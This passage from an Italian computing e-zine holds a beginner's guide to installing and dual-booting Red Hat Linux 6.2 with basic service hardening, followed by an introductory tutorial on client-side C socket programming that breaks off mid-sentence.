workstation. Ha come pregio il fatto di poter essere installata anche in una partizione Windows senza bisogno di ripartizionare il disco (anche se così facendo tutti i processi risultano un po' rallentati). Ha un suo file manager molto simile ad explorer. Se potete scegliere tra le due preferite Mandrake. SLACKWARE: ... la distribuzione per i veri smanettoni. L'installazione non è semplicissima ma è ripagata da un sistema operativo estremamente flessibile che può essere configurato nei minimi dettagli. Ha il pregio di essere molto stabile adatta sia come server che come workstation. Bisogna sbattersi un bel po' nella configurazione al fine di aver un sistema al top delle sue funzioni e questo forse ne fa una distribuzione non adatta ai neofiti o almeno a chi cerca un sistema facile e amichevole. DEBIAN: Per i veterani di linux non adatta ai principianti è riservata solo a un pubblico esperto che ha già dimestichezza coi sistemi Linux. In compenso è un sistema sicuro in quanto pare che alla Debian siano particolarmente attenti alla robustezza del software. Nonostante questo è una distribuzione con un discreto numero di pacchetti già inclusi che la rendono adatta a tutti gli usi Ritengo sia quella che più si avvicina alla filosofia dell'Open Source. Ha un suo sistema di gestione dei pacchetti che qui sono in formato .deb Per quanto riguarda le versioni ovviamente i paragoni esatti sono possibili solo all'interno della stessa distribuzione Mandrake 7.1 è meglio di Mandrake 6.1. C'è da dire poi che non tutte le case hanno iniziato contemporaneamente a produrre distribuzioni e oltretutto non producono nuove versioni in tempi uguali così che Mandrake 7 in termini di prestazioni generali equivale in linea di massima a RedHat 6.2 anche se Mandrake contrariamente alle apparenze è arrivata alla sua versione 7 in un tempo minore di quella che ci ha messo RedHat per sfornare La sua versione 6.2. Volendo si può guardare il kernel (nucleo del s.o.) come riferimento sul grado di sviluppo di una distribuzione e per esempio scopriamo che Debian 2.2 offre un kernel di serie più sviluppato (2.2.16 se non sbaglio) rispetto a tutte le altre quindi come già detto la versione vera e propria non vuol dire nulla al di fuori dellastessa distro. Infine tenete conto che anche se una distribuzione vi offrisse l'ultimissima versione del kernel ma per il resto è "povera" allora vi conviene installare quella che più si avvicina alle vostre esigenze e in seguito aggiornare il suo kernel. Ottenere la distribuzione ========================= Linux è un s.o. gratuito! lo potete scaricare da Internet dall'ftp della casa distributrice che avete scelto ma così non vi passa più e poi pagate un casino di bolletta. Lo potete comprare in un negozio. Per comprare intendo pagare un centinaio di carte per chi si è preso il disturbo di scrivere i manuali, masterizzare i cd, fare la scatola ecc ecc non per il s.o. in sè. La cosa migliore tuttavia è fare un giro nella vostra solita edicola dove quasi sempre c'è un giornale che regala qualche distribuzione. Compratelo e ve la cavate con al massimo 20 carte e una passeggiata. Anche se del giornale non ve ne frega nulla non buttatelo nel primo bidone che incontrate tenetelo così mentre linuzzo si installa avete qualcosa da leggere :P Una cosa: dubito che Playboy regali Linux , di solito lo trovate alla voce "computer e internet":) Partizionamento del disco ========================== Oggigiorno i dischi rigidi sono diventati di dimensioni tali che non conviene tenerli così come stanno. Se avete un disco da 20 Gb probabilmente l'avrete diviso in due blocchi (partizioni) da 10 Gb ciascuno e questo fa sembrare che vi siano due dischi separati, c: e d: è il classico esempio, se avete un disco un po' più vecchio oppure non lo avete spezzato in varie parti vuol dire che tutto lo spazio è dedicato all'unica partizione esistente. In ogni caso le partizioni sono tutte Fat se avete Windows 9x o al massimo Ntfs con Windows Nt. Sfortunatamente nessuna di queste è la più adatta per Linux. Può darsi che alcune distribuzioni possano usare una partizione Windows ma per me sono tutti paliativi. Meglio installare Linux dove va installato e cioè una partizione Ext2. In realtà le partizioni necessarie a linuzzo sono 2 una principale Ext2 che contiene il sistema operativo e una "di scambio" cioè un luogo dove memorizzare dati quando la Ram è piena. Windows fa la stessa cosa dentro a un file, Linux invece richiede una partizione dedicata. Per creare queste due nuove partizioni si possono sfruttare i tool forniti con quasi tutte le distribuzioni ma tutti hanno il difetto di essere un po' incasinati da usare sopratutto per chi non ha una gran esperienza di partizioni, fdisk non va bene perchè non è in grado di creare questo tipo di partizione. C'è però un programma che sembra essere fatto apposta. Si chiama Partition Magic e grazie ad esso si possono creare partizioni di ogni tipo, ma non solo, si può ridimensionare una partizione esistente SENZA BISOGNO DI FORMATTARE. avete capito? non c'è bisogno di buttare via il vostro sistema operativo o di doverlo reinstallare. Con P.M. potete prendere una partizione e rimpicciolirla, si viene a creare così dello spazio inutilizzato su disco che potete usare per fare la ext2 e la partizione di scambio; operazioni che potete fare direttamente da P.M. in modo che in seguito il programma di installazione trovi già le due partizioni preparate. Purtroppo c'è un problema e cioè: se avete Windows 9x e voltete installare Linux in modo da avere entrambi i sistemi operativi allora dovete installare il bootloader di Linux nel primo settore del disco ma se avete usato P.M. per ridimensionare un a partizione Windows allora vuol dire che la partizione Windows (Fat) è la prima mentre quella di Linux (ext2) è la seconda. Sfortunatamente il bootloader di Linux presente praticamente in tutte le distribuzioni non vede più in là dei 1024 cilindri (cmq al momento in cui scrivo il prob è stato risolto) quindi la vostra partizione Windows non deve superare un certo tot di megabyte altrimenti Linux è come non esistesse. Il tot di megabyte dipende dalla geometria del vostro disco (cilindri, testine, settori ecc ecc) e qui mi è impossibile stabilirne la dimensione per tutti i dischi in commercio. Cmq di sicuro supera i 2 Gb spazio più che sufficiente per una installazione completa di Windows. Non si può invece usare Windows 9x per bootare Linux mentre si può usare il bootloader di Nt/2000 allo scopo quindi se avete Nt o 2000 potete tranquillamente avere la partizione primaria di qualsiasi dimensione in quanto il bootloader di Nt/2000 non ha problemi a bootare linux ovunque esso si trovi e potete (ed è meglio così) sfruttare Win Nt/2000 per bootare Linux. WIN95+LINUX Uso di P.M. per avere Win9x+Linux 1) Prima |=======================================| FAT 2) Ridimensionamento FAT |==============|------------------------| FAT SPAZIO VUOTO 3) Dopo |==============|=================|xxxxxx| FAT EXT2 SWAP WIn2000/Nt + LINUX 1) Prima |=========================================| NTFS 2) Rimpicciolisco lo spazio Nt/2000 |====================|--------------------| NTFS SPAZIO VUOTO 3) Dopo |====================|=============|xxxxxx| NTFS EXT2 SWAP Ovviamente se avete due dischi potete mettere Linux su uno e Windows sull'altro. Se invece volete passare totalmente a Linux e cestinare Windows allora vi siete rispariati pure la fatica di farli convivere cancellate tutte le partizioni e create una nuova Ext2 e una nuova Swap :P Tenete conto poi che se non volete rischiare a sostituire il bootloader di Win9x con quello di Linux (Lilo=Linux Loader) potreste sempre bootare linux da un dischetto. Linux inoltre può essere diviso su più partizioni così da avere il materiale necessario al boot vicino all'inizio del disco, poi una partizione Fat e poi di nuovo un'altra Ext2. Tuttavia questo richiede considerazioni sul file system che vanno oltre allo scopo primario di questo, cioè aiutare chi si avvicina a Linux per la prima volta. Veniamo ora alle dimensioni delle partizioni. Per quanto riguarda la Ext2, ovvero Linux primaria, tenete conto che una distribuzione media completa richiede circa 1,2-1,5 Gb L'ideale è avere 2 Gb riservati in modo da avere un po' di posto libero. Se non avete tutto questo spazio potete sempre installare Linux scartando qualche pacchetto di cui non sentite il bisogno. Volendo parlare della partizione di scambio, troverete che molti manuali consigliano una dimensione un po' più grande della vostra ram ma volendo stare dalla parte del sicuro fatela del doppio della vostra ram e siete sicuri. In ogni caso non andate sotto i 10Mb e non superate i 128Mb. Installazione di Linux Red Hat 6.2 =================================== Lo so, lo so c'è già la 7.0 però se potete scegliere tra la 6.2 e la 7.0 scegliete la 6.2 che anche se non è la più nuova è comunque più stabile. Per quanto riguarda le altre distro tenete conto che Mandrake 7.x è ancora più facile da installare e pure Suse non scherza in merito. Se il cd è "bootable" allora potreste inserire il cd e resettare il computer. All'avvio dovrebbe partire il programma di installazione. Il programma di installazione lo potete far partire anche dal Dos andando in una directory tipo d:\redhat\dosutils dove dovreste trovare un file di nome autoboot.bat che è il prog da lanciare. Da Dos a me alcune volte si blocca prima di completare l'installazione quindi faccio un dischetto di avvio per l'installazione la cui immagine si trovano tipicamente in file tipo d:\images\boot.img da trasferire in a: col programma dos rawrite.exe presente sullo stesso cd di Red Hat. Una volta che ho il dischetto di installazione lascio il cd nel lettore e il dischetto in a: e resetto il computer. Al riavvio parte l'installazione questa volta senza problemi. 1) Scelta della linugua: mi sembra abbatanza facile, ce la potete fare :) 2) Configurazione della tastiera: a) Modello: il 90% della gente usa una tastiera "generic 101-key pc" se avete una tastiera particolare e la riconoscete nei modelli proposti selezionatela e usate quella. Se per esempio avete la tastiera ergonomica di Micro$oft selezionatela nella lista e siete a posto. Tuttavia anche se con la suddetta tastiera selezionate la "generic 101" funzionerà tutto lo stesso. Purtroppo alcuni miei amici avevano una tastiera senza filo e hanno avuto dei problemi nel riconoscimento. Io non possiedo tale tipo di tastiera quindi non so come risolvere il problema L'unica cosa che posso dirvi è di usare una tastiera "normale" per l'installazione e magari in seguito cercare il driver apposito per la vostra keyboard. b) Layout della tastiera: si intende la disposizione dei tasti. Io, come quasi tutti gli italiani uso una tastiera italiana quindi "Italian" se per qualche motivo avete una tastiera diversa regolatevi di conseguenza. L'importante è che nella casella dove è possibile provare a digitare qualcosa i caratteri corrispondano ai tasti premuti. c) Variante: Emulate dead keys lasciate "none" 3) Scelta del mouse: Per i mouse con la rotellina qui non c'è speranza bisogna installare un driver in seguito. Del resto comportatevi come per il modello della tastiera; un "generic->3 button mouse" dovrebbe andare bene alla stragrande maggioranza di voi. Se avete solo 2 pulsanti scegliete 2 button mouse e poi potete provare a abilitare l'emulazione del pulsante centrale che avviene premendo contemporaneamente il destro e il sinistro. Comunque sia il pulsante centrale è solo una finezza non è indispensabile. 4) Schermata di benvenuto 5) Tipo di installazione a) Gnome Workstation: se volete una workstation con sistema grafico gnome. Fatelo solo se non volete fare una installazione completa e amate Gnome b) Kde Workstation: come sopra ma il sistema grafico di default qui è Kde c) Server: installazione indicata se il vostro scopo è mettere su un server di rete. Nelle workstation all'avvio di Linux entrate subito in ambiente grafico (runlevel 5) ma non avete per esempio il server web installato. Qui avete tutti i demoni ma la partenza è in runlevel 3 che significa riga di comando. Per entrare in ambiente grafico dovrete digitare "startx" d) Custom: è quella che preferisco e che mi sento di consigliare. Potete scegliere cosa mettere e cosa no. E' da qui che poi faremo una installazione completa. 6) Partizionamento del disco: Prima vi ho detto di usare Partition Magic per fare le partizioni, tuttavia questa schermata permette di svolgere questo compito in mancanza di P.M. Il fatto è che se avete usato P.M. a questo punto non dovete fare altro che scegliere le partizioni da usare senza perdere dati. Se non avete usato P.M. iniziate pure pensare a quale partizione sacrificare e rileggete la parte riguardante il partizionamento del disco tenendo conto che ext2="Linux native". Se invece avete usato P.M. o comunque in alto, nella lista delle partizioni, vedete finalmente un "Linux native" e un "Linux swap" allora siete a cavallo. Selezionate la "Linux native" e cliccate su Edit quindi dove dice Mount Point mettete "/" senza virgolette. Come Linux identifica i dischi e le partizioni primo disco rigido "master" = hda 1a partizione del 1 disco rigido = hda1 2a partizione del 1 disco rigido = hda2 ecc ecc secondo disco rigido "slave" = hdb 1a partizione del 2 disco rigido = hdb1 2a partizione del 2 disco rigido = hdb2 3a partizione del 2 disco rigido = hdb3 ecc ecc "/" è la root directory, un po' come "c:\" la radice da cui poi si dirameranno tutte le sottodirectory di Linux. Con l'operazione precedente non avete fatto altro che assegnare a una partizione la directory principale di Linux. 7) Formattazione: se volete controllare che tutto sia veramente ok prima di scrivere dati acconsentite a una formattazione della partizione Linux native e magari se volete proprio dormire sonni tranquilli acconsentite a un controllo dei blocchi anche se ci vorrà un po' più di tempo. (tanto voi avete il vostro fedele giornale da leggere :) ) 8) Lilo: occhio a quello che fate perchè è un'operazione delicata Creazione del boot disk mettete = sì e cercate un dischetto da 1.44 Mb voto Non installare Lilo = sì solo se volete far partire Linux da dischetto il che è un po' scomodo visto che tutte le volte che si vuole avviare linux bisogna mettere il dischetto. Tuttavia è anche il metodo più sicuro per gli altri sistemi operativi che non vengono toccati da Linuzzo. Se Linux è "da solo" allora non c'è nessun pericolo a installare Lilo e lo mettete sul MBR che vi fa partire linux appena accendete il pc. Se Linux è in compagnia di Win Nt/2000 in una partizione che non è quella di avvio, quindi su hda2 per esempio, installate Lilo sul primo settore della partizione di boot il che metterà Lilo sul primo settore di hda2 userete poi il loader di Win Nt/2000 per avviare Linuzzo. Lo stesso vale se Linux fosse nella partizione primaria. Se Linux è in compagnia di Win 95/98 allora o scegliete la strada del floppy oppure mettete Lilo nel MBR e poi sarà Linux ad avviare Win 95/98. Nell'ultimo caso però Win non partirà fino a che non avrete configurato Linux come si deve. Nei parametri del kernel lasciate vuoto e ignorate pure il modo lineare necessario per alcuni controller SCSI. Label significa che se avete deciso di usare Lilo per avviare altri s.o dovrete dare a ciascuno di essi un nome in modo da distinguerli quando vi apparirà un menu che vi chiede qualse s.o. avviare. hda1=Windows hda2=Linux defaul boot image è il sistema operativo che partirà per default se non specificato diversamente. Ovvio che ci può essere solo un default boot image 9) Fuso orario: Allora la cosa più naturale è quella di cliccare sull'Italia anche se così facendo possono sorgere dei problemi di compatibilità a livello di orologio con gli altri s.o. eventualmente presenti. Linux e Windows infatti si comportano in maniera differente per quanti riguarda l'orario memorizzato nel bios. Windows memorizza un'ora esatta riferita al fuso orario in cui si trova. Linux invece memorizza l'ora di Greenwitch e poi calcola da questa l'ora in base al fuso orario in cui si trova. Ciò significa che gli orologi di Linux e Windows saranno sfasati a meno che voi non fate finta di essere in Inghilterra. Se Linux e da solo mettete pure Italia altrimenti cliccate su Londra. 10) Accounts: Il "root" è l'amministratore di sistema, quell'utente che può fare tutto ciò che vuole senza limitazioni di sorta. Tutti gli altri utenti saranno più o meno limitati a seconda dei privilegi di cui godono. Il root è poi l'unico in grado di creare o distruggere altri utenti. Ogni utente, root compreso, per accedere al sistema deve avere una password la password del root deve essere difficile da trovare quindi meglio se una stringa senza senso tipo "j8kk9pl2" direi che per sicurezza come minimo debba avere 8 caratteri. Il root è meglio usarlo solo per riconfigurare il sistema o installare software. Proprio per il fatto che non è limitato da nessun vincolo il root può anche involontariamente procurare danni al sistema quindi meglio lavorare con un user normale. Create un altro user con una password diversa dal root e siete a posto. 11) Autenticazione "Enable MD5" mettete sì così le password possono superare gli 8 caratteri "Enable Shadow password" sì anche a questo e le password, già criptate in maniera irreversibile, verranno memorizzate su di un file a parte leggibile solo dal root. Enable Nis: lasciate no. 12) Scelta dei pacchetti: Se avete fatto l'installazione custom dovete scegliere i gruppi di pacchetti da installare. Se volete tutto andate alla fine della lista e mettete "all" così avrete un'installazione veramente completa. "Select individual package" invece vi permette di scegliere ogni singolo pacchetto ma lasciate perdere a meno che non abbiate una conoscenza totale di tutti i pacchetti e delle loro dipendenze. 13) Configurazione di X: ovvero i settaggi dell'ambiente grafico. Scegliete il vostro monitor (o uno compatibile). Volete che il computer passi subito in modalità grafica stile Windows appena lo accendete? Sì-> abilita il login grafico. No -> lasciare disabilitata l'opzione. Non scegliere lo "skip X configuration" perchè altimenti alcuni programmi non verranno installati. Passate poi ai settaggi tipo risoluzione e profondità di colore. Un consiglio che vi posso dare è che se in windows usate un 800x600 in Linux è meglio spingersi a 1024x768 perchè le icone sono un po' più grandi e non abbiate paura di usare il massimo numero di bit per pixel possibili. Comunque bisogna provare e in ogni caso sono opzioni che possono essere cambiate anche in futuro. 14) Fine: inizia l'installazione dei pacchetti e voi potete andare in bagno a leggere il vostro giornale preferito, comprato solo per il fatto che regalava Linux e destinato ad essere usato come carta igenica una volta che l'installazione è terminata. Far convivere Windows & Linux ============================= Caso Linux + Win 95/98 Avete messo il Lilo nel MBR e questo fa sì che Linux si avvii in automatico ma Windows per il momento è come inesistente :-\ Supponiamo che Windows sia in hda1 cioè la prima partizione del primo hard disk e Linux in hda2. Entrate come root. Se siete in modalità testo allora ok, se no aprite un terminale (sfogliate i menu di kde o gnome alla ricerca di qualcosa come "xterm" "gnome-terminal" o kterm") e digitate. cd /etc <----- e andate nella directory etc cp lilo.conf lilo.back <----- fate una copia di sicurezza del file lilo.conf pico lilo.conf <------aprite il file per modificarlo allora aggiungiamo alla fine del file queste righe other = /dev/hda1 label = windows Uscite premendo Ctrl+x, vi chiede di salvare e voi rispondete "s" ora aggiornate il tutto digitando lilo -v Riavviate il sistema col comando reboot e quando appare Lilo boot... tenete premuto il tasto TAB questo dovrebbe farvi apparire una lista dei possibili sistemi operativi bootabili. Caso Win Nt/2000 + Linux Riavviando il computer si avvia ancora Windows visto che il Lilo non si trova nel Mbr ma nel primo settore della partizione di Linux (supponiamo hda2) Allora avviate Linux col dischetto di boot e entrate come root, a questo punto digitate dd if=/dev/hda2 of=/boot.lnx bs=512 count=1 togliete il dischetto dal floppy a e mettetene un altro formattato da dos o win e digitate mount -t msdos /dev/fd0 /mnt/floppy <----montate il dischetto cp /boot.lnx /mnt/floppy <----copiate il file /boot.lnx in esso umount /mnt/floppy <----smontate il dischetto Togliete tutti i dischetti e riavviate il pc col comando reboot. Si avvia Windows NT/2000 e entrate in esso come administrator inserite il dischetto di prima e copiate il file a:\boot.lnx in c:\ editate il file (occhio alla protezione da scrittura) c:\boot.ini e aggiungete alla fine questa linea c:\boot.lnx = "Linux" Salvate e riavviate e nel menu di boot dovrebbe apparire pure la voce Linux che se selezionata vi avvierà Linuzzo. OK e adesso? ============ Adesso avete Linux pronto e funzionante però potrebbe (e sicuramente è così) non essere configurato in maniera ottimale. Potrebbe essere una buona idea loggarsi come root e dare il comando setup per configurare risoluzione video, mouse, tastiera, e sopratutto la scheda audio Sicuramente per i principianti è un ottima idea quella di rispondere sì alla domanda: "volete il login grafico?" in modo che al prossimo riavvio si entra subito in un ambiente grafico decisamente più amichevole della linea di comando. Ah ... prima che mi dimentichi, NON SPEGNETE MAI IL COMPUTER IMPROVVISAMENTE con Linux ancora in esecuzione. Quando volete spegnere il computer da root date il comando halt Da ambiente grafico uscite dalla sessione in modo da tornare alla schermata in cui avete scritto la password. Cercate tra i menu la voce "Halt" o qualcosa di simile. A Linux non piace molto l'idea di essere spento improvvisamente e, pur non rovinandosi irrimediabilmente, all'avvio successivo controlla il disco in cerca di file "troncati". Un altro consiglio è quello di loggarsi come root il meno possibile. Root infatti può involontariamente danneggiare il sistema con comandi sbagliati; un utente normale invece no. Se avete bisogno dei permessi del root per fare una certa cosa potete temporaneamente prendere in prestito il suo account col comando su (poi digitare la pass di root) Quando avete finito la cosa che dovevate necessariamente fare come root tornate ai vostri permessi abituali con "exit". Altra cosa: probabilmente all'avvio partono dei demoni non necessari che vi consumano solo risorse e che possono essere dei potenziali pericoli per la sicurezza del sistema. Vi serve il server http? Sì ---> ok lasciate così. No ----> allora meglio spegnerlo. Come root editate inetd.conf pico /etc/inetd.conf e fate in modo che la macchina ignori quello che non vi serve. Per fare in modo che la macchina ignori una linea metteteci davanti un "#" Di solito tutto quello che c'è in questo file non è indispensabile per un uso normale del Pc. Io ho messo # davanti a ogni linea, se però un domani volessi accendere il server ftp non dovrei fare altro che togliere il # da davanti alla linea #ftp stream tcp nowait root /usr/sbin/tcpd in.ftpd -l -a e riavviate col comando killall -HUP inetd Così avete fatto fuori molti servizi inutili E DI CONSEGUENZA AVETE CHIUSO DELLE PORTE Non tutti i demoni però sono avviati dal demone-padre inetd alcuni sono autonomi e li potete vedere dando il comando linuxconf e andando nella sezione "Verifica lo stato dei servizi". Potete tranquillamente fare in modo che non partano automaticamente, mettendoli in manuale, i seguenti servizi: httpd lpd identd named netfs smb portmap rstatd sendmail questo chiuderà qualche altra porta inutilmente aperta (dico inutilmente per un uso domestico del pc se volete mettere su un server di posta sendmail è indispensabile) Ok adesso avete un linux leggermente più sicuro e potete iniziare a esplorarlo con comodo provando, sbagliando, leggendo, riprovando fino a quando è tutto ok. ____________________________________________________________________________ / [^XaBaRaS^][ /| +===========================================================================+ | | | | | [ La programmazione "dal lato client" in C ] | | | ---------------------------------------- | / +===========================================================================+/ Concetto del giorno (cioè l'unica cosa che il mio cervello riesce a passare alla bocca in questi periodi): SBUAZZ!! (<-- pensiero in codice chi me lo decifra?) Premessa: Questo articolo è stato inserito nella sezione Linux... il porting per Windows del tool di prova menzionato qui può essere benissimo fatto includendo i corretti file header per win dato che le API socket sono universali da sistema a sistema. Adesso seri. Oggi cominciamo a parlare di programmazione dei socket in c dal lato client. Se avete Linux installato con il compilatore gcc e gli header file necessari al funzionamento di codice c di rete allora siete a posto. E' tutto quello che dovrete avere (e se avete installato Linux anche a cazzo di cane al 100% dei casi avrete questi requisiti, a meno che non abbiate deselezionato i pacchetti necessari nell'installazione manualmente). Perchè scrivere questo articolo? In primo luogo perchè mi ero ripromesso che avrei tentato di far capire la programmazione di rete (per il momento i concetti base) anche a chi con il c non ha mai avuto a che fare. Quantomeno se avete programmato poco e sporadicamente nella vostra vita, riuscirete a capire questi concetti già alla seconda lettura integrale dell'articolo. Per chi non ha mai programmato beh, sperate di possedere un'elasticità mentale adeguato alla programmazione di base o non so proprio come potreste fare a comprendere il qui presente. Adesso perchè imparare a programmare un'applicazione dal lato client? In primis perchè è molto più semplice che programmare un server. In secondis perchè parlare della programmazione di un server richiederebbe molto tempo e molto spazio, cosa che attualmente non ho. Comunque in linea generale come risposta vale la prima che ho dato. Come premessa vorrei dire inoltre che lo stile di programmazione che mostro non è dei più "altolocati", vale a dire che quello che verrà mostrato qui potrebbe anche essere fatto ed ottimizzato in c in tanti altri modi...ma per cominciare dai concetti e dalla base credo che quanto detto seduta stante sarà sufficiente. [ BLANDI RUDIMENTI DI C ] Prima di cominciare del tutto diamo uno sguardo a qualche rudimento in c che ci servirà certamente per la comprensione del codice finale allegato nell'articolo. Tralasciamo l'aspetto di "argv" e "argc" che penso di aver spiegato sufficientemente bene nell'articolo del primo numero di Security System che parlava di come nascondersi agli occhi del comando ps. Diamo invece uno sguardo a questo brevissimo codice in c che potete benissimo compilare sotto linux con il comando: gcc nomefile.c -o fileesecutivo ed eseguirlo con: ./fileesecutivo --------taglia qui----------- #include char carattere = 'A'; char *stringa; main() { stringa = "O santo Pompelmo!!"; printf("Un intero è grande %d byte\r\n", sizeof(int)); printf("Un carattere è grande %d byte\r\n", sizeof(char)); printf("La variabile carattere contiene il carettere %c\r\n", carattere); printf("Il valore numerico del carattere %c è %d\r\n",carattere,carattere); printf("La stringa contenuta dalla variabile stringa è %s\r\n",stringa); } --------taglia qui----------- Nella prima riga alleghiamo il file di header che definisce variabili, costanti e funzioni che ci permettono di lavorare con gli strumenti standard di input e di output. Se non sapete cosa sono variabili costanti e funzioni datevi al cucito. Successivamente dichiariamo una variabile di tipo char con il nome "carattere" ed assegniamo a questa variabile il valore "A". Dopo dichiariamo una variabile di tipo char chiamata "stringa" che conterrà appunto una stringa di testo. In C infatti le stringhe non si dichiarano come in Pascal o in visual basic con la dicitura "string", bensì queste vengono considerate dei puntatori di caratteri, vale a dire una sequenza di caratteri. La differenza tra variabile "carattere" e variabile "stringa" sta nel fatto che la prima può contenere solo un carattere, mentre la secondo una serie. Per dichiarare che una variabile di tipo char debba essere un puntatore di caratteri si usa l'asterisco accanto al nome della variabile; esempio: char *stringa; Un modo invece per dichiarare stringhe di caratteri limitate è questo: char buffer[128]; In questo caso la variabile buffer può essere formata al massimo da 128 caratteri. Andando avanti nell'esempio viene avallato quello che avevo detto prima, vale a dire che la variabile "stringa" è un puntatore di caratteri e ce lo dice il fatto che all'interno della procedura main il suo valore venga eguagliato alla frase "O santo Pompelmo!!". Adesso viene la parte un pochino più complicata di tutto questo programma. Il comando "printf" stampa sullo schermo ciò che contiene. Tuttavia non stampa alcuni caratteri speciali come %d %c e %s che rappresentano rispettivamente un numero, un carattere e una stringa. Vediamo un pò come funzionano entrambi. Si comincia con: printf("Un intero è grande %d byte\r\n", sizeof(int)); Sullo schermo, una volta lanciato il programma apparirà la scritta: "Un intero è grande 4 byte". Quel %d il compilatore sa che non deve visualizzarlo così com'è, ma bensì sa che alla fine della stringa racchiusa tra virgolette, dovrà acchiappare il valore dalla variabile o dalla funzione menzionata lì e scriverlo al posto di %d. In questo caso abbiamo "sizeof(int)" che ci dice la dimensione in byte di una variabile di tipo intero (questa può variare da sistema a sistema). I caratteri speciali \r\n dopo la parola "byte" equivalgono alla pressione del tasto INVIO. Con: printf("Un carattere è grande %d byte\r\n", sizeof(char)); ci viene invece detta la grandezza in byte di un char. Questa sarà di 1 byte, quindi nel caso dichiarassimo una variabile del tipo char buffer[128] questa sarebbe capiente 128 byte. Lo stesso discorso di %d si fa anche con %c, la differenza sostanziale sta nel fatto che %c stamperà il carattere contenuto nella variabile o quello ritornato da una qualche funzione: printf("La variabile carattere contiene il carettere %c\r\n", carattere); In questo caso sullo schermo verrebbe stampato: "La variabile carattere contiene il carattere A". Infatti se andiamo a notare nel programma, nel momento in cui andiamo a creare la variabile "carattere" questa viene uguagliata al valore 'A'. E cosa succederebbe se invece di usare %c con una variabile di tipo char usassimo %d? Il mistero viene svelato dal seguente esempio: printf("Il valore numerico del carattere %c è %d\r\n",carattere,carattere); Questo stamperà su schermo la stringa: "Il valore numerico del carattere A è 65". Lo %c infatti prendere il contenuto della variabile carattere e lo stamperà normalmente, il %d invece stamperà il valore numerico corrispondente al carattere A (che in ASCII altri non sarebbe che 65). Infine se noi volessimo stampare un'intera stringa presa da una variabile questo esempio chiarirà tutto: printf("La stringa contenuta dalla variabile stringa è %s\r\n",stringa); Questo stamperà su schermo: "La stringa contenuta dalla variabile stringa è O santo Pompelmo!!" La %s non fa altro che ritornarci tutto il contenuto della variabile stringa che è un puntatore di caratteri come abbiamo visto ed è stata inizializzata a "O santo Pompelmo" nella procedura main. Compreso ciò affacciamoci alla programmazione di rete. [ LE FASI DI UN CLIENT ] Principalmente un client agisce in questo modo: CREA UN "SOCKET" | | v ATTRAVERSO QUESTO SI "CONNETTE" AD UN SERVER | | v MANDA E RICEVE DATI Tutto qui! Le chiamate più importanti che si contraddistinguono anche in programmazione sono "SOCKET" e "CONNECT" (come tra poco vedremo). [ FUNZIONE SOCKET ] Nei miei articoli ho già brevemente spiegato cosa si intenda per socket. Quando un client si connette ad un server per inviargli dati (o per riceverli) lo fa con l'ausilio di un socket. Nella programmazione di rete prima di poterci connettere ad un determinato servizio dobbiamo effettuare una chiamata alla funzione socket; la fattispecie per questa è qualcosa di simile: int socket(int family, int type, int protocol); Il valore che viene ritornato da questa funzione è un numero intero che identifica un descrittore da un altro. Se volessimo brevemente introdurre il concetto di descrittore si potrebbe dire che è appunto un numero che identifica quel dato socket in confronto alla miriade di altri che potrebbero esserci (solitamente in un server ma anche in un client i socket aperti sono più di uno). Se avete in mente il concetto di descrittore di file sappiate che lo stesso discorso che vale per loro vale anche per i socket. Ma parliamo dei tre argomenti passati a questa funzione: * family specifica la famiglia del protocollo e può essere uno di quelli elencati sotto: 1) AF_INET : per creare un socket per i protocolli IPv4 2) AF_INET6 : per creare un socket per i protocolli IPv6 3) AF_LOCAL : per creare un socket per i protocolli di tipo Unix Domain 4) AF_ROUTE : per creare dei routing socket 5) AF_KEY : per creare dei socket key nella maggior parte dei casi, quando svilupperemo un'applicazione client per internet, useremo la famiglia di protocollo AF_INET o AF_INET6. Da notare che al posto di AF_LOCAL in certi sorgenti, potreste trovare AF_UNIX, il quale altri non sarebbe che il nome storico usato per creare dei socket di tipo Unix Domain. * type specifica il tipo di socket ed è una delle costanti che seguono: 1) SOCK_STREAM : per dei socket di tipo stream (usato per le sessioni TCP in quanto questo comunica attraverso uno stream di byte, vale a dire una sequenza di byte). 2) SOCK_DGRAM : per dei socket di tipo datagram (usato per le sessioni UDP) 3) SOCK_RAW : per dei socket di tipo raw ( grezzi. Qui ci sarebbe da parlare davvero tanto, ma diciamo solamente che questa opzione ci permette di definire dei socket con caratteristiche personalizzate). * protocol è il tipo di protocollo che vogliamo utilizzare; questo valore viene solitamente settato a zero tranne per i socket di tipo SOCK_RAW. Quest'oggi ci interessa solamente settarlo a 0, quindi non andiamo oltre nella spiegazione. Quando la funzione ritorna dalla chiamata che lo ha generato, ritorna un descrittore non negativo se tutto è andato per il verso giusto, oppure ritorna-1 se vi è stato un errore nella creazione del socket. [ FUNZIONE CONNECT ] La funzione connect (come si può dedurre dal nome) serve a farci connettere attraverso il socket precedentemente creato ad un server. Nel momento in cui questa viene chiamata, si da il via al 3 way handshake (se non sapete cosa sto farneticando andatevi a leggere l'altro mio articolo presente su security system che parla di queste cose). La funzione connect fa muovere dallo stato CLOSED allo stato SYN_SENT, fino ad arrivare allo stato ESTABLISHED se la connessione verrà stabilita. Ecco come si prensenta tale funzione: int connect(int sockfd, const struct sockaddr *servaddr, socklen_t addrlen); Ritorna 0 se la connessione è andata a buon fine, -1 su errore. Il primo argomento a connect è il descrittore ritornato con la funzione socket (poi vedremo come memorizzarlo in una variabile); il secondo argomento è un puntatore alla struttura di indirizzo socket ed il terzo argomento è la lunghezza totale di questa struttura. Entrambi le funzioni connect e socket possono essere utilizzate includendo nel codice sorgente l'header [ STRUTTURA DI INDIRIZZO SOCKET ] Cosa è precisamente una struttura di indirizzo socket? Lo dice la parola stessa: non sarebbe altro che una struttura in cui sono immagazzinati tutti i dati principali della connessione e precisamente: - la famiglia di protocollo utilizzata - la porta a cui ci si deve connettere - l'ip a cui ci si deve connettere Vedremo più avanti nel programma incluso come si ha accesso ad ognuno di questi dati della struttura d'indirizzo socket, per adesso ci basta sapere che la dicitura sockaddr_in si riferisce ad una struttura di tipo IPv4, mentre sockaddr_in6 ad una di tipo IPv6. E' possibile usufruire di queste strutture includendo nel codice sorgente l'header [ CONCETTO DI BYTE ORDER ] Esistono 2 modi per immagazzinare 2 byte in memoria, con il byte order little-endian o con quello big-endian. La differenza consiste nel fatto che il primo li immagazzina secondo indirizzi di memoria decrescenti (quindi da destra verso sinistra), mentre il secondo li immagazzina secondo indirizzi di memoria crescenti (cioè da sinistra verso destra). Il byte order di un computer può essere sia little-endian che big-endian e viene identificato genericamente con la dicitura di host byte order. I dati riguardanti l'indirizzo IP e la porta del mittente e del ricevente, prima di transitare in rete, devono essere convertiti in network byte order che come byte ordering utilizza il big-endian (quello che immagazzina i byte secondo indirizzi 